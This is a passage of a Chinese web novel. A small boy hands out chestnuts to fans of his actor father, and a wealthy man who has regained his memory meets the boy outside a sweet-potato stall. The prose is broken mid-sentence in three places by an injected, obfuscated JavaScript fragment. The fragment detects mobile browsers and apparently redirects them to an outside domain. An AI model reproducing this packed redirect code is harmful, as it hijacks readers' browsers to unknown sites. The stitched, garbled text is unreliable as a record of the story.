生意冷淡的烤板栗叔叔看着柜台前面猛地冒出的圆脑壳，在对上小孩儿一双圆溜溜的大眼睛时直接从椅子上站起来，秒变夹子音：“十五块钱买一斤送一斤！小朋友你要夺少？” 嘟嘟手里多了两斤板栗。 在他了解啥叫买一斤送一斤后。 “看呐，这不是昨天网友说的那个，蔚染的小迷弟？” 蔚嘟嘟操着脆脆的嗓音跟烤板栗叔叔唠嗑的时候，排队买红薯的队伍中出现了窃窃私语。 “真是他！皮肤这么白，眼睛这么大，这小西瓜头的造型太醒目了！” “真奇怪，一般来说我看所有小孩儿都一样，但这小孩辨识度好高。这谁家孩子啊，他妈妈一定很漂亮！” “蔚染的小迷弟今天也来打卡了么？” 有人也秒变夹子音。 但人群中也产生了一些不算和谐的声音，排在偏于队尾的某黄毛青年就对自己的同伴说： “呵，我就说蔚染不至于有这么小的粉丝，看见了没，他是直接奔着隔壁烤栗子摊子去的！” 排队打卡蔚染同款红薯的粉丝们，也没想到队伍里还会混迹俩黑粉，前后排队的人都纷纷看了这俩男的一眼。 但在现实里追星通常都不比在网上时狂热，大家还是很隐晦的。尤其不是明星公开活动的情况下，粉丝们都会收敛一些，黑粉更是。 黄毛只是跟自己的同伴小声说了一句，不敢明目张胆地挑事，其他蔚染的粉丝也不好发作。 只有一个梳着长马尾的女生也如法炮制，跟自己的同伴小声嘀咕：“黑粉也来买染染同款红薯，这就叫黑到深处自然粉，爱而不自知。” 她同伴哧哧笑，表示赞同。 黄毛听到了，不至于因为这种事在线下跟真人对线，但也不妨碍他拿起手机，打算在网上揭露真相。 【笑死，蔚染粉丝漫天营销蔚染的迷弟小到四岁，结果人家孩子只是每天例行来买东】…… 文字还没编辑完，鼻息猛然钻进一股烤板栗的香气。以及隐隐约约间，他似乎听见了有小孩在叫他哥哥。 黄毛下意识抬头寻找香气和声音来源，没找到。 他又低头、挪开眼前碍事的手机，这才看见可爱小西瓜头的小朋友正仰着大脑袋，带着可爱笑容正对着他。 青年：！！！……？ “哥哥，吃板栗咩。” 小小的人类幼崽见他终于注意到自己，便摊开白嫩嫩的小手掌，露出里面的两颗板栗。 黄毛没见过架势，也不理解小孩子的意思，下意识就想回绝：“谢谢，哥哥不……” “宝宝请哥哥吃板栗，谢谢哥哥，喜欢染染哦！”小孩子却抢在他面前说。 这么小的孩子少有吐字如此清晰的，以至于他一开口，周围的哥哥姐姐都瞬间听清楚他在说什么。 这小孩说：“请一直支持染染！” 黄毛：“……” 很脆又很软的小声音漾开，直搔人心尖，黄毛下意识接过小孩手里的板栗。 ……忽然就不懂拒绝了！ 之后那小孩还觉得不够似的，把小胳膊伸进袋子里猛抓，又摸出两粒板栗来，一并塞在哥哥手中。 然后是下一个哥哥。 身高大概只过人膝盖的小朋友继续向前，给排队的人都派发板栗。 嘴里还都是那套话，他要感谢大家支持染染。 偶尔碰上个真的只是排队买红薯、并不追星的路人顾客，嘟嘟也会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361010|183680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很大方地送对方板栗吃。 那些人不懂嘟嘟在干嘛，还会逗他，嘟嘟就会大声安利染染，请哥哥姐姐们多多关注染染！ 如果不知道怎么关注，可以打开电视看现在热播的《夜将行》，就知道染染是谁啦！ 深秋时节，傍晚温度已经开始下降了，排队等买红薯的时候的确觉得无聊和冷。 可捧着热乎乎的烤板栗排队，还是可可爱爱的人类幼崽一个个亲自派发出去的，谁还会觉得无聊！？ “震惊，这小孩竟然是来给蔚染做应援的！” “现在可以确定这小孩真是蔚染的迷弟了吧哈哈，亲自派发板栗哈！” “板栗还是有点烫的，都给宝宝的小手烫红了，姐姐陪宝宝一起发吧。”有人直接走出队伍。 有这么可爱的人类幼崽陪伴，等会儿重新排队又能如何！ 手里分别拿着四颗板栗的黄毛和他同伴都愣在原地。 就忽然忘记自己此行的目的是什么了。 黄毛和他朋友都是无业游民，轻松又赚钱的工作找不到，辛苦费力的又不想做，近期就打算做营销号。 账号还没打造起来，了解市场的时候却先行变成了网络喷子。 主要是觉得追星很降智，那些外表光鲜的明星有什么可值得人喜欢的？有追星的功夫不如好好孝敬一下自己的爹妈。 抱着这样的心态，两个背井离乡也没有怎么顾及自己爸妈的年轻人，在听说最近爆火的蔚染竟然吸引了这么多人来买红薯、甚至还有人特意坐高铁过来，两个人决定一探究竟，顺便录一期抨击脑残粉和揭露黑莲花蔚染营销行径的视频。 结果…… “我好像忽然懂了追星的乐趣了……” 黄毛愣愣地对同伴说。 大概是，这世上有一个人创造了一份美好，然后吸引到更多的人，因为这份美好而感受到更多的美好。 就像深秋猛然收获到的温暖、香气四溢的板栗。人们在因为一个人，而互相交换着美好…… 黄毛忽然诗兴大发。 录制黑莲花蔚染的视频没灵感。但走进粉丝群体、感受追星美好却让他的创作灵感变得源源不断！ 旁边，已经发完一圈烤板栗的嘟嘟走向队伍最后，开始认真排队买今日份的红薯。 前面受了他板栗恩惠的人想要把位置让给嘟嘟，嘟嘟自然摇头委婉谢过——嘟嘟，很喜欢排队买爸爸同款红薯的过程哇！ 王奶奶来到嘟嘟身边，已经被拎着板栗袋子的嘟嘟逗得笑弯了腰。 关照了隔壁板栗叔叔的摊子，然后给他爸爸做应援、把板栗送给爸爸的粉丝们吃，这样就不用担心家里没人能吃下这些板栗、买来浪费了。 嘟嘟这小子，怎么这么聪明呢！ 王淑琴全程记录了嘟嘟的行径，一并发给蔚染看。 这时，嘟嘟又转回头，向着远离红薯队伍的方向走去。 王奶奶最怕小孩丢，赶紧跟上。 却见嘟嘟走到五米开外，一个西装革履的青年面前，仰头问道：“哥哥，你也是来买染染同款红薯的咩？” 那青年明显一愣，迟疑地低头看向个头矮矮的小朋友。 这年轻人的气质打扮，明显与人来人往的步行街小市场不相符。 非要说的话，他的衣着过于规整，气质矜贵与周遭格格不入，怎么看都不像是来逛市场买家常菜的市民群众。 可若说他是故意来买蔚染同款烤红薯的，却也不像。 像他这样的人不会亲自追星。 尤其是跟在他身后的两名西装男，怎么看都像是保镖。 说他是前来巡视的大领导倒很符合其形象。 但作为领导的话，这人又过分年轻了。跟在嘟嘟后头的王淑琴还发现，这年轻人真高，应该比蔚染还要高出不少，估计都得一米九了，简直是鹤立鸡群。 然而大人才会打量旁人的行头和气场，小孩子是不会顾及这些的。 嘟嘟只是注意到这个叔叔站在这儿好久了。一直往红薯摊的方向张望着。 便觉得他也是来买红薯的。 当然即使不是来买红薯的，也可以安利他买红薯……啊拔四，是安利他也喜欢染染！ 只及对方膝盖高的蔚嘟嘟，当即热情地从兜里拿出两颗板栗伸手，仰起大头：“队伍在这边呦，哥哥，嘟嘟，先请你吃栗子！” 4. 第四章 一个小时前，从墨尔本出发的私人飞机顺利在S市机场降落。 几分钟前。 劳斯莱斯悄无声息地停在老牌步行街口，刚从机场把重要客户接回的司机，毕恭毕敬地对坐在后排的男人介绍道：“先生，到了，‘五爱红薯摊’就在那儿。” 男人扭头，隔着车窗向外望，脸色沉重。 像诧异自己为什么要刻意跑来这里似的，他足足愣了半晌，才倏地收回眸光，接着微微向后仰头靠在座椅的头枕上。 双手合掌在身前，十根修长手指指根交错，男人深沉的眼眸里，冷漠与纠结怪异地同时出现。 尽管车内开了换气系统，他还是觉得闷。 抬手降了车窗，商业街热闹嘈杂的各式声音瞬间涌入车内。 忽然就有一阵烤红薯的香气袭来。 两个穿着制服装的女孩子一边从车窗旁路过，一边兴奋地跟同伴讨论：“染染同款的红薯呀，好幸福!” “今天排队的人咋这么多了？” “这家烤红薯果然很甜，糖都溢出来了，怪不得蔚染喜欢！” “说起来，蔚染都是有孩子的人了，为什么连吃个红薯都那么可爱？” …… 男人面无表情的脸上，额角一跳。 脑部某处传来一阵突兀的钝痛，又尖锐又酸楚。以至于再回神时，他面色已骤然苍白了许多。 前排的秘书更是跟着出了一身冷汗：“林总，您才恢复记忆不久，医生说您要避免接收到新的刺激……要不咱先回酒店休息一下？” 林洛宸没出声。 五年前出了车祸，做了近两年的植物人，之后虽然恢复了清醒，但近三年的时间他还是浑浑噩噩。 他记得很多东西。准确地说恢复意识后的很长时间以来，林洛宸都并不知道自己失忆。 醒来后的他积极参与复健，接着像所有正常人一样生活、工作，有条不紊地逐一接管家族生意，表面上看，丢失的两年对他并未造丝毫影响。 旁人艳羡着形容他这个林家未来的接班人是如何优秀——躺了两年竟也没被家族其他子弟在能力上赶超，更没被时代抛弃。 林洛宸麻木听着这样的话。 因为知道是奉承，所以从未往心里去过。好的坏的都不能打动他，他仿佛真如人们形容的那般无坚不摧。 只是偶尔，林洛宸会觉得心里空荡荡的，像是遗落了什么东西。 但那似乎也不重要。 对于捡回了一条命的人来说，他已经足够幸运，没什么可不开心、或该去抱怨的了。 直到偶然之间，他从小侄子的pad上，看见了一部国内新上的古装剧。 据说是几年来难得平地起飞的良心好剧，其中“韦玉书”一角更是爆火出圈，剧还没播完，内娱热搜上已经到处都是韦玉书和其扮演者的痕迹。 其扮演者…… 林洛宸从不关心国内外娱乐圈的动向。 他平时事务繁忙、生物钟规律，连宴会都极少参与。 娱乐圈的那些事情对他来说太小了。 入不了他的眼，自然不会多做留意。 直到，他看见了韦玉书的扮演者。 “……蔚染。” 那一刻，林洛宸毫无预兆地叫出了这个名字。 一贯平静的内心，也在他认真注视这人的相貌时，出现了前所未有的波动。 那之后——咔嚓咔嚓，如湖面一般平稳的心境，骤然间变成一面虚伪的镜子。 镜面于真实出现时开始龟裂，露出底下原本的真实模样，千疮百孔。 那袒露出来的，是一些被林洛宸遗忘了的、却又无比真实的记忆。 全部都是关于一个人的。 ……蔚染。 蔚染！ “林总？” 眼见林洛宸面色不对，前排的助理略微慌了。 林总开始恢复记忆以来，身体和精神状况一直很不稳定，这次回国出差前，老董事长可是千叮咛万嘱咐，要自己一定关照好林总的身体…… “要不要去看医生？” 后排的林洛宸则深吸口气。 面颊不知何时覆盖上一层涔涔细汗，之前，关于那个人的记忆一点点浮现时，林洛宸经常出现这样的状况。 现在所有的记忆都连成了一线，该想起来的、不该想起来的也都被他回忆起来了，可每次想起那个人，钝痛和酸涩还是会将他裹挟。 说不上哪里不舒服，总之就是哪里都不舒服。 为了稳住情绪，林洛宸再度将视线投掷到窗外。 步行街繁华一片，人潮如织。正如这几年间他数次回国开会、于各大城市临时落脚时匆匆见过的景象一样，是一派欣欣向荣的样貌。 但五爱红薯摊却藏在犄角处。 旮旯边上的一家不显眼的小店，如果不是现在有了曝光，排队的人多了、队伍很长……便根本看不见。 ——一晃神就错过了。 更重的疼痛感在受过伤的头脑中弥漫，林洛宸落在膝盖上的手握成拳。 “林总？！” 前面的助理见他不答，已经急得就差吩咐司机直接去医院了。 林洛宸在这时候开口：“没事，不用大惊小怪。” 即使痛感明显，他声音依旧平静得略显冷淡，仿佛说的不是关于自己身体上的事儿。 林洛宸只闭了闭眼睛。 收回视线，他没再向窗外看一眼。 “去公司。” 没什么可看的，也不必去找。 那个人离开了自己，五年来连一句问候都没有，老死不相往来的模样。 自己却还寻着什么、那人的同款红薯而来。 简直卑微到下贱。 司机听见指令，下意识就要发动车子，可安全性很好的车子却在这时发出“滴滴”的警报。 ——车子启动的前一秒，林洛宸骤然推开车门，二话不说地迈开长腿下了车。 司机&助理：？ 车子外面的横道上，三五成群凑在的一起的几个老头老太太，正望着排长队的红薯摊，啧啧议论着。 “听说是有个小明星来这边儿录节目，买了这家的红薯，之后这些年轻人就来跟风买红薯了。” “看见没？这年头有明星光顾，卖红薯都能发财。” “那明星肯定收钱了，都是广告效应！这些小年轻没脑子，说什么都信，把钱都给人家花，喜欢明星比喜欢自个儿的爸妈还多！” “年轻人追星，就是工作不够累！哪像咱们年轻的时候。” “现在的年轻人，谁知道呢？那明星也不像话，说什么明星？还不是叫戏子！净骗老人小孩的钱，我老伴儿和孙女天天看他的节目，都不给我好好做饭了！我看了，长得还不错，就是整的不男不……” “麻烦让让。”一道冷肃的声音从背后传来，听上去极为年轻。 但因为声音响起得太近太突兀，几个凑在一起的老大爷大妈都被吓了一跳。 一个老头不满地转回身，他背着手，在转身成功之前已经开口教育道：“路这么宽，你们年轻人不会被绕着走吗？” 说完，他才发现这年轻人个子好高，穿的也好，第一眼他根本就没法注意到对方长什么样儿，注意力全撂在他那身笔挺的西装上面了…… 但很快，老头就顾不得这些了。 只听那年轻人说：“年纪大了，就控制不住蛐蛐了是不是？” “你……” 男人锋利的眸光闪过冷漠：“倚老卖老。” 老头急眼了：“你这年轻人，你！……” “这么有闲工夫的在外面嚼舌根，身为家庭的一份子，怎么不回家给老婆和孙女做饭吃。” 说完，穿高定西装的年轻人直接从他们中间斜插过去，一步都没有绕开地路过，并且目不斜视。 那老头直接就想破口大骂，又在觉得那年轻人狂妄至极的时候、考虑要不要就此被气倒在地。 不让他赔医药费，至少也要吓一吓对方。 可就在这时，两名穿同样款式、戴黑墨镜的肌肉男跟着穿过他们，恭敬地坠在那高个男人的身后，一看就不好惹。 其中一个，还特别回头看了那老头一眼。 即使戴着墨镜，也似乎是在询问，“大爷，您要碰瓷否？” 老头：…… 绝大多数人的心理还是不想惹事，更何况是只喜欢在背后蛐蛐人的，多半真有事的时候就怂了。 几个大爷大妈尴尬地散开。 几分钟后。 红薯队伍后方几米远的地方，林洛宸怔怔看着眼前、对着自己举着两颗板栗的小小人类幼崽。 刚才还伶牙俐齿的男人，这会仿佛骤然丧失了言语能力。 林洛宸突出的喉结上下滑动一二，动作艰难得仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361011|183680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正吞咽着什么酸涩苦涩的东西，他沉默半晌后，才声明道：“我不买红薯。” 声音凉森森，听不出什么情绪。 林洛宸长相不凶，相反是罕见的个子又高、脸又帅的配置。 可他猫一样的眼睛下耷，面无表情的样子不怒而威，便显得绝情又狠厉。 不夸张地说，林洛宸的小侄子曾经被这样的小叔生生吓哭过。 可眼前只到他膝盖的小豆丁，却只是眨了眨眼。 嘟嘟注意这个叔叔有一会儿了，小小的人类幼崽，也是很会眼观六路耳听八方的。 他听见叔叔骂走了那些蛐蛐爸爸的人。 结果原来，叔叔并不是爸爸的粉丝咩？ “那没事的。”蔚嘟嘟嘴甜地说：“哥哥，嘟嘟还是请你吃板栗哒！” 说完，举着两颗板栗的小手掌又向前递了递，担心他会不自在、或有其他顾虑似的，小朋友还回身指了一圈，意思是这里其他的哥哥姐姐都有噢。 林洛宸：“……”再度深吸口气。 不着痕迹的。 他本来就不喜欢小孩子。 也还没有贱到、要特别对蔚染的儿子格外展露温柔。 更尤其是，离开他的蔚染，转头就跟别人在一起了。孩子都这么大了。 …… 不仅头脑钝痛，内心更是泛起一种充满实质性的痛处。 有一瞬间，林洛宸怀疑自己就要痛不欲生地抽搐倒地，像乍回忆起关于蔚染的一切时那样。 “……既然那个人带给你无尽的痛处，那么你忘记他才是正常的，这是人类大脑的自我保护机制。” 他精神科的主治医师们一致认为：“或许他带给您的创伤，比车祸还要严重许多。所以醒来后你才会只忘记关于他的一切。” …… 林洛宸重新回过神时，手里已经多了两颗板栗。 ……两颗板栗比小孩子的小手掌都还要大，任何人看见小朋友这样艰难地举着东西都不可能不接。 “谢谢。”林洛宸声音冷淡地说。 “不客气哦。”小朋友清脆的声音与西装革履的高个子叔叔形成鲜明对比，蔚嘟嘟忽然拼命仰头朝上看。 “哥哥，你好高噢。” “……” 谢谢。 你也不会矮。 林洛宸重重闭了闭眼。 忽然又低声询问：“你叫嘟嘟？全名叫什么？” 男人冷淡的眉眼下耷，眼底落了一片阴影，在小朋友仰头看他时，也仔细打量起眼前这个跟蔚染有几分相似的小孩。 虽说忘记可能更好，但面对乍然浮现的记忆，林洛宸不可能不去查蔚染这个人。 也自然捎带着，看见了蔚染儿子的照片。 ……这个蔚染为了让他堂堂正正存在着、连放弃事业都无所谓，自曝自己已经生子的孩子。 …… 可笑。 昔年少年蔚染的声音还犹在他耳畔边回荡。 那时候的蔚染脸上还带着点婴儿肥，喜欢穿款式古板的白衬衫，但提起梦想时，蔚染便总兴致勃勃地。 少年漂亮的眉眼瞩目又张扬，会经常带着对未来满满的憧憬说，他最喜欢演戏了。 蔚染的梦想，是做一名成功的演员。 结果就这？ “就叫嘟嘟哦。”小孩子的声音脆脆又糯糯地响起，嘟嘟顺便摆弄了下自己的小手指。 那里沾上了烤栗子流出来的糖，黏黏的，但嘟嘟知道它是甜的，能吃，不脏。 如果不是等一会儿还要分板栗给别的姨姨姐姐，嘟嘟真想舔一舔。 一心想舔糖的嘟嘟反应慢了半拍：“哦叔叔是想问嘟嘟姓什咩？我叫白嘟嘟哦！” 面对看起来气场强烈、还有点凶的叔叔，蔚嘟嘟很快露馅，忘了要嘴甜地继续叫哥哥了。 但姓氏这事嘟嘟没忘。 因为爸爸的姓太特殊，为了保护嘟嘟，爸爸刻意叮嘱过在外面有人问起，嘟嘟都说是跟奶奶姓的，叫白嘟嘟。 林洛宸重重扬起眉梢——白嘟嘟？ 姓白？孩子母亲姓白？ 蔚染身边，哪个女人姓白？ …… 更大的痛楚在受过伤的头脑中蔓延。林洛宸骤然捏紧手心里的两颗板栗，面上依旧毫无表情地说：“叔叔知道了，谢谢嘟嘟。” “不客气的叔叔。”蔚嘟嘟礼貌地说。 5. 第五章 隔天，提前下工的蔚染亲自去幼儿园接嘟嘟放学。 他把棒球帽压得很低，还戴着口罩，并不想引起旁人的注意。 但蔚染不仅个子高，还瘦。 瘦也不是瘦猴一样皮包骨全无气质的瘦，他两肩自然打开下垂，脊背笔直，比电视里走秀的男模特还要标致。 绝大多数人都还只是搭一件外套的天气，蔚染外头已经穿上了件薄棉衣，里面简单套了件圆领T，下面搭配一条浅蓝色的直筒牛仔裤，站在幼儿园门口就已经足够醒目。 外加上后面还背了个双肩包，蔚染给人的感觉整个儿就是一清爽干净的大学生，来接孩子的爸爸妈妈或爷爷奶奶，难免都要多关注他几眼。 蔚染全程低着头，生怕被人认出来。 一个月前他其实还没有这种烦恼。 祖国国土面积很大，时代更迭很快。饶是曾经差点被骂退圈，可过去这么久了，再恨他的粉黑也几乎将他遗忘，至少最近这两年蔚染走在街上，已经没再经历过被人追着指着鼻子骂的情况。 不过就在他刚刚敢堂而皇之地出现在街口后不久，近期的《夜将行》就火了，蔚染又会被人在大街上认了出来，只不过这次，那些人是想要跟他合影或要签名。 那时候的蔚染是很受宠若惊的。他下意识以为别人认出他，就会来骂他。 所以每一次，他几乎都是战战兢兢地完成合影留念和签名，强装镇定。 到了今天，即使明确知道又有人开始喜欢他了，蔚染仍旧不是很敢公然现身人前。 最近配合剧组做各种线下宣传，已经用掉了蔚染绝大多数的勇气。 当然，这并不意味着他不希望剧火人红。 《夜将行》的爆火给他带来了许多的资源，是从前望尘莫及的，蔚染无比珍惜和感恩。 有口碑有人气，未来的日子才会好过。娱乐圈的法则就是如此。 而如果不是为了可以有机会接到更好的资源，他也不会在这几年的时间里，每天夜以继日地徘徊在各种剧组里跑龙套。 两年多的龙套生涯，算上演仅有一两个镜头的路人或尸体，蔚染足足“参与创作”了五六十部戏，才在一次饰演侍卫时被《夜将行》剧组的导演看重，拿到了一个饰演男二的机会。 但究竟是五十部戏还是六十部，对蔚染来说都不算什么。 《夜将行》中的爆火已经让他感觉自己足够幸运了，更何况如今他还接到了作为男主的新戏，感觉距离梦想又近了一步。 而且他还有…… “爸爸！” 幼儿园的大门敞开，小朋友们牵手组成规律的队伍，在老师的带领下依次走出校门。 蔚嘟嘟立即在人群中捕捉到爸爸的身影。 嘟嘟比同龄的小朋友稍矮一些，但却机灵灵活，不仅一眼就认出了他爸爸，还立即跑过来扑住蔚染的大腿。 蔚染掩在口罩下的唇角骤然扬起，脸上浮现出温柔笑意。 ——更何况他还有嘟嘟。 蔚染笑着弯腰将嘟嘟抱起。 又在其他人注意到这边的时候，赶紧向老师道别，然后拎着崽崽回到车上。 “爸爸今天忙完了咩？有很多、很多时间陪嘟嘟了咩？” 公开承认有崽的优势，蔚染的保姆车上都设有儿童座椅。 小腿腿卡进座椅的缝隙里，嘟嘟一边让爸爸给他系安全带，一边睁着大眼睛，满脸期待地看着蔚染。 小奶膘都一颤一颤。 蔚染看得欣喜又心塞。 喜的是没人会不喜欢这样的崽崽。塞的是一直以来他陪嘟嘟的时间都太短。 如果说蔚染要为这些年的事道歉的话，他真的对不起太多人了，但最对不起的应该还是嘟嘟。自己没能陪伴他，也没能照顾好他。 手指戳了戳儿子脸上的肉肉，蔚染笑得更加认真和温柔：“嗯，爸爸今天晚上都没有事情，专门陪嘟嘟。” “好呦！”嘟嘟忽然攥起小拳头，做了个棒棒的手势，满意的小奶膘又是一颤。 蔚染跟着一乐，声音更加温柔：“那，嘟嘟想做什么呢？” …… 二十分钟后，蔚染又辗转换了一辆不显眼的车子，然后陪嘟嘟来到烤红薯摊所在的步行街上。 ……嘟嘟最想做的事，还是买红薯。 今天排队买红薯的队伍更壮观了，蔚染只要现身绝对会被认出来，他就只好在车里等，还是由王奶奶领嘟嘟下去买。 又二十分钟后，因为爸爸在等、而没有花太多时间给爸爸做应援的嘟嘟，被王奶奶抱回到车上。 蔚染捧着手上热乎乎的红薯，还有些发愣。 刚刚嘟嘟去排队的时候，他就一直坐在车子看。 起初是看嘟嘟，后来发现嘟嘟在跟那些排队的人交流，而那些人，大多都是为自己而来…… 常年惧怕被人认出来的恐惧和紧张，不知不觉间开始松动。 要不是为了工作和看嘟嘟的状态，蔚染几乎都不看手机，并不确切知道现在网上都在怎么说自己。 倒是知道有人刻意来买他的同款红薯，但也都是王奶奶录嘟嘟的时候顺便看一眼，或是听别人说说。 如今真正亲眼看过去，眼见那么多人脸上的兴奋和跃跃欲试，竟都只因为自己无意间的一个举动，蔚染便觉得慌乱、不好意思以及更加的受宠若惊。 同时，也难免会很感动。 “嘟嘟昨天还分给哥哥姐姐们板栗了？” 隔着包装袋，蔚染将红薯放在自己的膝盖上，再拆开包装，撕开外头烤得极具韧性的皮。 红薯摊老板在生意火爆后，不仅没飘，反而还升级了产品品质。 现在大家买到的红薯，据说是老板每天凌晨三五点钟就去进货、刻意挑选品质最好的红瓤红薯，拿回来经过二次筛选后，才刷洗干净送进烤炉里的，力争做到个保个的甜糯，不给蔚染丢脸。 蔚染现在手里的这只就是。 撕开外头略有些丑陋的表皮，便立即露出里面橙黄偏红色的红薯瓤。香气散开，整只红薯像泡在蜜里。 用勺子轻轻一戳就可以挖下一块，比现烤出炉的糕点还要香甜。 蔚染挖了一勺，吹凉后塞进崽儿的嘴里。 嘟嘟嘴巴小，但不耽误吃红薯。毕竟红薯软糯糯的，嘟嘟鼓着小腮帮抿了几下就可以轻松咽下，一点都不耽误消化。 “是哦。”嘟嘟开始跟爸爸说昨天他给哥哥姐姐们吃板栗的事。 昨天蔚染熬了个大夜，一宿没回来，白天九、十点钟才彻底下工，补了个觉，就匆匆来接嘟嘟放学。 算起来父子俩也有超过一天没见了，即使蔚染通过录像看到了嘟嘟昨天的可爱行为，也没来得及跟儿子交流。 他干脆把嘟嘟放在自己的腿上，让嘟嘟捧着红薯，父崽二人分食。 忍不住用额头蹭了蹭嘟嘟的小脸，蔚染说：“嘟嘟好乖，谢谢你帮爸爸感谢粉丝们。” “不客气哦。” 蔚嘟嘟不以为意：“嘟嘟，要帮爸爸应援！” 蔚染被逗笑了：“嘟嘟就那么希望爸爸火吗？” “对噢。”嘟嘟圆眼睛一瞪，特别肯定地说：“爸爸，必须要闯出一番名堂！” …… 这话嘟嘟不是第一次说了。 他第一次这么说的时候还不到两岁，刚刚学会叫爸爸不久，就磕磕绊绊地，指挥蔚染，说爸爸必须出去闯。 蔚染当时直接被惊到了，询问是谁教嘟嘟说这些的，可嘟嘟咿咿呀呀的，除了要他去闯以外，别的都说不清楚。 那会儿蔚染没有一点资源，还不像现在这么忙，嘟嘟几乎一直是他亲手带的，哪儿有人能越过他教嘟嘟这个？ 蔚染就只好怀疑，是自己做梦说梦话的时候，被小小的嘟嘟听到了。 ……很可怕，他做梦都给嘟嘟洗脑了！ 后来蔚染在儿子的鼓励下，开启了每天十几个小时的龙套生涯，最忙的时候他甚至还把嘟嘟送去养母白女士家住了一段时间。 可即便待在本就反对爸爸做明星的奶奶家里，嘟嘟跟蔚染的对话也都是在鼓励爸爸加油，不要放弃，要闯出一片天地…… 蔚染哭笑不得，却不想宝宝失望，竟然就这样硬撑下来了，还奇迹般地等到了转机。 眼下，蔚染看着福娃一样的小嘟嘟，内心更是一片柔软。 他郑重承诺：“好，爸爸会更加努力的。” “唔，还有……” 嘟嘟也蹭了蹭爸爸的脸，刚想说什么，又被外面的景象打乱了思绪，小崽子只是“咦？”了一声。 蔚染：“嗯？” “那个，好像是昨天那个叔叔的车哦。”嘟嘟一边望向窗外，一边小手托着自己肉嘟嘟的小腮帮，做深沉思考状。 嘟嘟不认识车，但叔叔的车子很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361012|183680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别致，最前面有个小金人，所以宝宝印象才深。 更尤其是，那辆车好像都已经在这边转三圈了。 蔚染再度被他身材五短、但小大人的模样逗笑，也跟着转头看向窗外。 “哪个叔叔？” 他并没看到什么车辆。 “又开过去惹。” 嘟嘟揉了揉大脸蛋，跟爸爸分享：“昨天的叔叔好奇怪的，他看起来明明也很喜欢爸爸，却没有去排队。” “哦，这样啊。”其实并不希望粉丝们因为他而浪费过多时间，蔚染便只是说：“或许叔叔很忙吧。” “有可能哒。”嘟嘟：“叔叔是，商务人肆！” 蔚染总是会被崽崽的词汇量惊到，当即笑着问：“嘟嘟连这个都知道呀？” 他语气夸张，充满惊讶的赞扬，没有小孩不吃这一套。 嘟嘟立即挺起小胸膛，忽然语速很快地给爸爸解释：“因为叔叔的车子，有小金人，还有叔叔穿的衣无……唔，衣，服，都是很贵的款式！嘟宝在杜爸爸那里，见过那样的材质！” “宝宝真厉害。”蔚染又是一阵夸赞。 . 劳斯莱斯车上。 老板不出声，司机只能一圈圈地、顶着车海绕着小市场转个不停。 他猜测老板可能是在等昨天在这里派发板栗的小娃娃，今天他们转了好几圈都没有看到那小小的身影，老板也没有要求停车。 要不然就是老板真的很想吃五爱红薯摊的烤红薯，但因为是霸总，不好意思亲自排队去买。 想到这里，司机看向坐在副驾驶上的助理，试图给对方使眼色，现在年轻的瓜娃子都是怎么回事？好不会看老板脸色行事的。 副驾驶上主要负责翻译、陪同领导参加会议，深谙四国语言的高材生助理：？ 最终还是不明就里的助理看了看腕上的高档机械表，出声提醒：“林总，快五点了，您晚上的商务会谈……” 林洛宸按了按酸胀的太阳穴，至今仍没想清楚自己今天还来这里的目的是什么、有什么意义。 他嗓音冷淡地开口：“回公司。” 司机担心老板又在起车前一秒忽然推车门，这次不仅提前锁了门，还把油门踩得飞快，没再给林总任何挑战车子性能和司机反应速度的机会。 劳斯莱斯在一辆停滞在路边的不起眼的小型轿车旁，贴身驶过。 不起眼的小轿车上，与嘟嘟分食了一整只烤红薯后，蔚染一边收好垃圾放在一边，一边又将嘟嘟抱在腿上。 嘟嘟的小脚踩在爸爸腿上，正好可以环住蔚染的脖颈，跟爸爸贴脸蛋儿。 爸爸毕竟是明星，每天都要贴面膜保住脸蛋，所以肌肤滑滑的，嘟嘟喜欢跟爸爸贴贴。 父崽两个玩贴脸的游戏也玩得不亦乐乎。 嘟嘟虽然是足月生的，还有点晚产，可自嘟嘟出生以后，蔚染的身体一直不太好，连带着嘟嘟都没长高。 尽管那会儿请了专业的月嫂和育婴师帮忙，可几个月过去，当蔚染把嘟嘟抱去医院做体检、跟别的孩子一比较时，还是发现嘟嘟比同龄的宝宝短了一截。 对此蔚染很愧疚，他知道自己怀了嘟嘟的时候已经很晚了，快四个月了，那会儿拍戏还整天浸在冷水里，蔚染不知道是不是因为这些宝宝才没长高。 阿姨们都安慰他，说有些孩子就是一开始长得慢，嘟嘟没什么问题，要蔚染别担心，更别自责。 可蔚染怎么可能不自责呢？他欠嘟嘟太多了。 首当其冲的……嘟嘟是单亲家庭的孩子。 他都没有给嘟嘟一个完整的家。 “对了嘟宝。” 